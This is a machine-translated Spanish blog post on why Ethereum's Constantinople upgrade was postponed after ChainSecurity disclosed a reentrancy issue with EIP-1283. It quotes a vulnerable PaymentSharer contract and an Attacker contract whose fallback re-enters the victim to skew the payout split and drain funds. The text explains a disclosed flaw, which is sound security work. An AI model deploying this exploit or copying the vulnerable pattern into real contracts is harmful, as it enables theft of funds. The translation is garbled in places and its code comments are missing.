* La actualización de Ethereum "Constantinopla" se pospuso debido a una vulnerabilidad potencial encontrada en el último momento

imagen
* Mucha gente llama a este evento un "tenedor duro", pero Vitalik está en contra .

Se suponía que la tan esperada liberación de Constantinopla se llevaría a cabo el 17 de enero, a las 4 a.m. UTC , sin embargo, una vez más, rompiendo brutalmente la miríada de desarrolladores de contadores de cuenta regresiva, esto no se haría realidad.

30 horas antes del lanzamiento oficial, debido a la vulnerabilidad encontrada, guiada por el principio "mejor entretejer que no interrumpir", la actualización se pospuso indefinidamente.

Un evento que despertó la atención de toda la comunidad fue la oferta imprudente de EIP 1283 , que abarata la ejecución de la instrucción SSTORE (sic!). En general, una de las direcciones principales de la actualización fue la implementación más barata y rápida de instrucciones particularmente pesadas.

Los eventos del 15 de enero se desarrollaron de la siguiente manera (tiempo en PST):

  • a las 8 am, ChainSecurity publica una descripción de la vulnerabilidad ;
  • justo allí, Martin Holst Swende (el principal guardia de seguridad de la Fundación Ethereum) despierta a todos los desarrolladores clave, recordando que solo quedan 37 horas antes de la actualización, y aquí lo tenemos;
  • antes del mediodía hay un acalorado debate en las salas de chat y "voz";
  • Para la cena, se decidió cancelar la actualización.

La situación se vio agravada por el hecho de que el momento de desplegar el barco se eligió muy mal: casi la mitad de los nodos lograron actualizarse, y todos los demás fueron pateados de manera metódica y persistente en las últimas semanas. Como resultado, ahora los nodos actualizados deberán actualizarse nuevamente (ya sea hacia arriba o hacia abajo ... mda). Y quién no tuvo tiempo y durmió todo, bien hecho, no necesitan hacer nada.

Entonces todo era predecible: el mercado reaccionó con un colapso del 5% de la tasa de éter (jaja). Muchos, por supuesto, estaban indignados de decir cómo el precio de la instrucción puede afectar el secreto, por qué lo pusiste allí y todo eso ... Pero, de hecho, nada inusual, todo es como todos los demás.

Es mejor leer sobre los detalles técnicos de la vulnerabilidad en el artículo original de ChainSecurity , no es difícil resolverlo.

Quién es demasiado vago para sumergirse en el código: el punto es que antes de la actualización la instrucción SSTORE era tan costosa que no había forma de cambiar el "estado" de otros contratos, después de que la actualización de Constantinopla la instrucción se volvió más barata (y), y usted puede cambiar el "almacenamiento" muchas veces, cambiando así la lógica del contrato vulnerable.

Código de contrato vulnerable (con mis comentarios):

pragma solidity ^0.5.0; contract PaymentSharer { mapping(uint => uint) splits; mapping(uint => uint) deposits; mapping(uint => address payable) first; mapping(uint => address payable) second; //      ,       (  ) function init(uint id, address payable _first, address payable _second) public { require(first[id] == address(0) && second[id] == address(0)); require(first[id] == address(0) && second[id] == address(0)); first[id] = _first; second[id] = _second; } //    ,       function deposit(uint id) public payable { deposits[id] += msg.value; } //       function updateSplit(uint id, uint split) public { require(split <= 100); splits[id] = split; } // ,  (     split) function splitFunds(uint id) public { // Here would be: // Signatures that both parties agree with this split // Split address payable a = first[id]; address payable b = second[id]; uint depo = deposits[id]; deposits[id] = 0; //     (    fallback-   ) a.transfer(depo * splits[id] / 100); //  -   (       ) b.transfer(depo * (100 - splits[id]) / 100); } } 

Código de contrato de ataque:

 pragma solidity ^0.5.0; import "./PaymentSharer.sol"; contract Attacker { address private victim; address payable owner; constructor() public { owner = msg.sender; } //    *,      PaymentSharer   function attack(address a) external { victim = a; PaymentSharer x = PaymentSharer(a); x.updateSplit(0, 100); x.splitFunds(0); } // fallback ,     transfer- function () payable external { address x = victim; // ,       (  ,   updateSplit(0, 0)), ..    Split          assembly{ mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000) pop(call(10000, x, 0, 0x80, 0x44, 0, 0)) } } function drain() external { owner.transfer(address(this).balance); } } 

* falta en el original, pero en algún lugar debe haber una inicialización del formulario:
init (0, “Dirección del contrato del atacante”, “dirección de la billetera del atacante”)

antes de llamar al método de ataque.

Por supuesto, hay muchas preguntas sobre el contrato PaymentSharer en sí, en las que se nos muestra vulnerabilidad, es torcidamente ciego en sí mismo, y el problema es el problema.
y no en el precio de SSTORE, y en general: no encontraron un ejemplo vivo en la red de lanzamiento, pero decidieron ir a lo seguro, de todos modos, el precio del error puede ser demasiado alto (todos recordaron el DAO muerto hace mucho tiempo aquí).

En general, la comunidad Ethereum tiene muchos eventos interesantes: la lucha de los cardenales del mercado gris (GPU vs ASIC) se ha intensificado, lo que en sí mismo merece un artículo separado, el próximo lanzamiento de Bacon Chain está ganando impulso: el año promete ser rico en eventos e intriga.

Source: https://habr.com/ru/post/es436262/


All Articles